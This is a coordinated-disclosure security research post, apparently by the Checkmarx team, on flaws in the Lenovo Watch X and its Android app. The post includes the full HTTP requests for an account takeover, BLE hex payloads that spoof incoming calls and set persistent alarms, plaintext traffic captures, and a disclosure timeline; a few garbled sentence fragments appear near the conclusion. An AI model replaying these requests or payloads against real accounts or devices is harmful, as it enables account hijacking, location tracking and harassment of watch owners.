A friend of mine offered me a Lenovo Watch X – which costs around €60 – in return for helping him with a security project. I was impressed with the design and the quality of the watch. Of course, I also immediately wanted to test its security. Lenovo Watch X Security Research Summary I think we all understand why a smart device like the Lenovo Watch X needs to collect some types of information. As users, our hope is that only the necessary information is shared and stored, and that all of our personally identifiable information (PII) is handled securely and responsibly. Unfortunately, during the course of my research I found quite a few vulnerabilities in my shiny new Lenovo Watch X. Each of the vulnerabilities concern me, but a few of them are pretty disturbing. I’ll name and describe the vulnerabilities, and then share how that vulnerability could be used in an attack scenario. Vulnerability – Pinpoint Phone Location: Phone latitude and longitude coordinates regularly sent to a remote unknown server in China. Attack scenario: Ability to track the location of the watch owner, not only by the unknown server in China” but also by anyone sniffing the network. Vulnerability – Sniffing / MiTM: Communication sent between the mobile application and web server is not encrypted, so anyone could sniff the communication. Attack scenario: A malicious user could grab user credentials, hijack accounts, and track users just by being on the same network as their victim(s). Vulnerability – Account Takeover: Due to lack of account validation and permissions, it’s possible to force a password change request for any user. Attack scenario: Anyone who knows the userid could change the user password, and therefore hijack remote accounts. Vulnerability – Magic BLE: The Bluetooth Low Energy pairing allows pairing devices using only normal hand movement. There is no timeout system enabled. Attack scenario: A malicious user could easy pair to the victim’s watch just using normal pairing; the natural movement of the hand makes a successful pairing easy. Vulnerability – Spoofing Calls: Write permissions on a specific GATT UUID allow the spoofing calls attack. Attack scenario: A malicious user could send a specific command to the device and spoof incoming calls to the victim’s watch. Vulnerability: Set Alarms: Write permissions on a specific GATT UUID allow setting alarms on the watch. Attack scenario: A malicious user could send a specific command to the watch to set alarms. The function allows adding multiple alarms, as often as every minute. Lenovo Watch X Android Application My next step was to install the official Lenovo Watch X Android app, which has around +50,000 downloads. Then I started monitoring the traffic from the app. I wanted to see what permissions it required as well as what it sent to a remote server. The Watch X Android app requires the following permissions: permission.INTERNET permission.READ_EXTERNAL_STORAGE permission.WRITE_EXTERNAL_STORAGE permission.BLUETOOTH_ADMIN permission.BLUETOOTH permission.ACCESS_COARSE_LOCATION permission.GET_TASKS permission.ACCESS_WIFI_STATE permission.ACCESS_NETWORK_STATE permission.CHANGE_WIFI_STATE permission.READ_PHONE_STATE permission.CAMERA permission.CALL_PHONE permission.WAKE_LOCK permission.REQUEST_INSTALL_PACKAGES permission.ACCESS_FINE_LOCATION permission.ACCESS_LOCATION_EXTRA_COMMANDS permission.RECEIVE_SMS permission.READ_CONTACTS permission.BIND_ACCESSIBILITY_SERVICE permission.RECORD_AUDIO permission.GET_ACCOUNTS permission.USE_CREDENTIALS permission.WRITE_SETTINGS permission.FLASHLIGHT I understand why the Android app needed some of these permissions, but others seemed a bit strange to me. I continued with my research and immediately noticed a strange request to a Chinese server: POST /api/dmap-analysis-point-server/v2/insertBaseBurialPointInfoV2 HTTP/1.1 language: EN_HK token: visitorId: 1043065036087934976 Content-Type: application/json; charset=utf-8 Content-Length: 575 Host: prod.api.app.d-map.cn Connection: close Accept-Encoding: gzip, deflate User-Agent: okhttp/3.11.0 [{"appVersion":"2.4.1","boundTime":0,"equipmentModel":"0201060EFF03A35042303031DC41E5002084080957617463682058031400A800000000000000000000000000000000000000000000000000000000000000","equipmentType":1,"firmwareId":"PB001","firmwareVersion":"0.3.6","imei":"629*","latitude":"40.*","loginTime":1537801210,"longitude":"-8.*","phoneLanguage":"pt_PT","phoneModel":"LG-M320","phoneType":"lge","phoneVersion":"Android7.0","placeId":111007,"projectId":"AP110002","sn":"LGM3*","startUpNum":0,"userId":1043065036087934976,"userTime":30,"userType":"1"}] At this point they already pinpointed my location – which by the way is exactly where I was. I hadn’t even registered for a Lenovo Watch account yet – but already they had my PII. My next step was to register for an account. Registering triggered other alarms in my mind. For example, I did not see HTTPS in any requests sent between the application and the server. Essentially, anyone could launch a MiTM attack at that point, or even just watch what I’m doing. Sniffing/MiTM Next, I wanted to see exactly what information was being sent (unencrypted) between my app and the server. It was pretty easy to see everything – here are a few examples: Checking if the email exists already GET /api/dmap-auth-server/v1/user/email/code/email?email=[email protected]&type=1 HTTP/1.1 language: EN_HK token: visitorId: 1043065036087934976Host: prod.api.app.d-map.cn Connection: close Accept-Encoding: gzip, deflate User-Agent: okhttp/3.11.0 Registering an account POST /api/dmap-auth-server/v2/user/register/email HTTP/1.1 language: EN_HK token: visitorId: 1043065036087934976 Content-Type: application/json; charset=utf-8 Content-Length: 79 Host: prod.api.app.d-map.cn Connection: close Accept-Encoding: gzip, deflate User-Agent: okhttp/3.11.0 {"email":"[email protected]","password":"Testing9999","projectId":"AP110002"} How many steps in a specific day? GET /api/dmap-senor-server/v1/rank/get/day?time=1537743600&userId=1044244911384469504&stepNum=122 HTTP/1.1 language: EN_HK token: 9ae1f5a5020c080c58a3d929ceb869db visitorId: -1 Host: prod.api.app.d-map.cn Connection: close Accept-Encoding: gzip, deflate User-Agent: okhttp/3.11.0 Basically a malicious user could monitor any operation on the app. It was pretty clear that none of the data requested by the app was private. Account Takeover If nothing is private, what else can I do with this app? My next step was to create two accounts to see if I could hijack an account. Step 1. On account A change the password and write down the request: POST /api/dmap-auth-server/v1/user/retrieve/password/update HTTP/1.1 language: EN_HK token: TOKEN_FROM_A visitorId: -1 Content-Type: application/json; charset=utf-8 Content-Length: 55 Host: prod.api.app.d-map.cn Connection: close Accept-Encoding: gzip, deflate User-Agent: okhttp/3.11.0 {"password":"Testing9999","userId":1044244911384469504} Step 2. On account B change the password of the account using the token from A: POST /api/dmap-auth-server/v1/user/retrieve/password/update HTTP/1.1 language: EN_HK token: TOKEN_FROM_A visitorId: -1 Content-Type: application/json; charset=utf-8 Content-Length: 55 Host: prod.api.app.d-map.cn Connection: close Accept-Encoding: gzip, deflate User-Agent: okhttp/3.11.0 {"password":"Testing1111","userId":104490555487071436} Step 3. Open the account B and check if the password is Testing1111. And, unfortunately, it is. I just hijacked the account and changed the password. Step 4. Next, remove token header. POST /api/dmap-auth-server/v1/user/retrieve/password/update HTTP/1.1 language: EN_HK visitorId: -1 Content-Type: application/json; charset=utf-8 Content-Length: 55 Host: prod.api.app.d-map.cn Connection: close Accept-Encoding: gzip, deflate User-Agent: okhttp/3.11.0 {"password":"Testing11","userId":104490555487071436} That works too! So an attacker only needs the userId, then can change the password from any user and gain access to all of the information stored by this app. Hacking the BLE Magic Pairing My first approach to hacking the BLE was to check how to pair the watch with my Android phone. I needed to understand the pairing method. When you first open the Android application, it tries to find your Lenovo Watch to pair it. You see the following screen: You need to click on the watch button OR move your arm. If the victim is already walking that’s a natural movement right? I did try it and it worked. Just by walking it pairs the device. But it gets better. I disconnected the device. And tried to pair it again. After blocking the phone and opening again, it bypassed the pairing… Watch this in action: https://www.youtube.com/watch?v=5Q0Pi3O4r2k The NSA Is Calling You Next, I decided to sniff the BLE traffic using three Ubertooth (also known as Uberteeth). I caught some interesting stuff when making a call to the phone. Take a look: and What I did was reply to both requests; I got the Levovo Watch X vibrating and telling me that I have an incoming call from “Amor.” I decoded the hexadecimal value to ASCII, and it is possible to find where the text “Amor” is being sent: 41:6d:6f:72:00:69:6e:63:6f:8d -> Amor.inco 6d:69:6e:67 -> ming So I wrote a small Python script that will trigger an incoming call from… the NSA! (Why not?) You can see this in action: https://www.youtube.com/watch?v=1hzuSj4086s Set Alarms Another discovery – you can mess around with the alarm setting on the watch, and it is a persistent alarm. For example, if an attacker writes the following data on the 0x0022 handle: 230109311d01010a01180788015200 It sets the watch to vibrate and inform the wearer of the alarm at 6:07pm (18:07). Every ten minutes it will warn the user again, until the victim removes it. The victim must enter the app to disable this persistent alarm. An attacker can go even further and enter a lot of alarms. In fact, an attacker could create some kind of denial of service with alarms: 230109311d01010a010300ff015200 This sets the alarm at 3 am every day. If you need to add more alarms, it’s all too easy – just change the number before the time: 230109311d01010a010300ff015200 Conclusions on the Lenovo Watch X Based on this research, I made a few recommendations to Lenovo. I think the vulnerabilities on the Lenovo Watch X bear looking at – sharing my exact location with a remote server didn’t seem necessary for the Watch X to function as designed. It’s also a violation of my privacy, and clearly shares my PII. Encrypting communication between the Watch X, Android app, and the web server would help reduce the impact these issues, and it is basically best practice. Both the app and the watch need to confirm the pairing. making it far more difficult for a malicious user to pair with the smart watch. Setting a time out makes it less likely that an unintentional pairing could occur. Fixing the API permissions eliminates the ability of malicious users to send commands to the watch, spoof calls, and set alarms. dart watch, and setting a time out makes it less likely that an unintentional pairing could occur. r to pair with the Smart devices like the Lenovo Watch X track a lot of information about you, and some of that may make your life more convenient. By testing the security of smart watches (among other devices), we can help vendors learn that the vulnerabilities in their software lead to problems for their users, and they need to build better, more secure, software and devices to prevent that. hbspt.cta.load(146169, ‘5f4a9df3-db67-40e9-ae50-cb0e21a991a1’, {}); Disclosure Timeline 24-Oct-2018 Reports sent to Lenovo’s PSIRT (Product Security Incident Response Team) 16-Nov-2018 Sent reminders to Lenovo’s PSIRT 16-Nov-2018 Lenovo confirmed they got the reports 26-Nov-2018 Lenovo PSIRT opened a case, reference LEN-25446 27-Nov-2018 Sent our intent to publish 29-Nov-2018 PSIRT asked not to publish before early January 13-Dec-2018 Lenovo requested some clarifications 14-Dec-2018 Sent clarifications 08-Jan-2019 Lenovo PSIRT updated that they moved ownership to a 3rd party provider 16-Jan-2019 3rd party confirmed fixes are issued Tags: Account Takeover BLE bluetooth Checkmarx Security Research Team Internet Of Things IoT Lenovo Watch X MitM smart watch Sniffing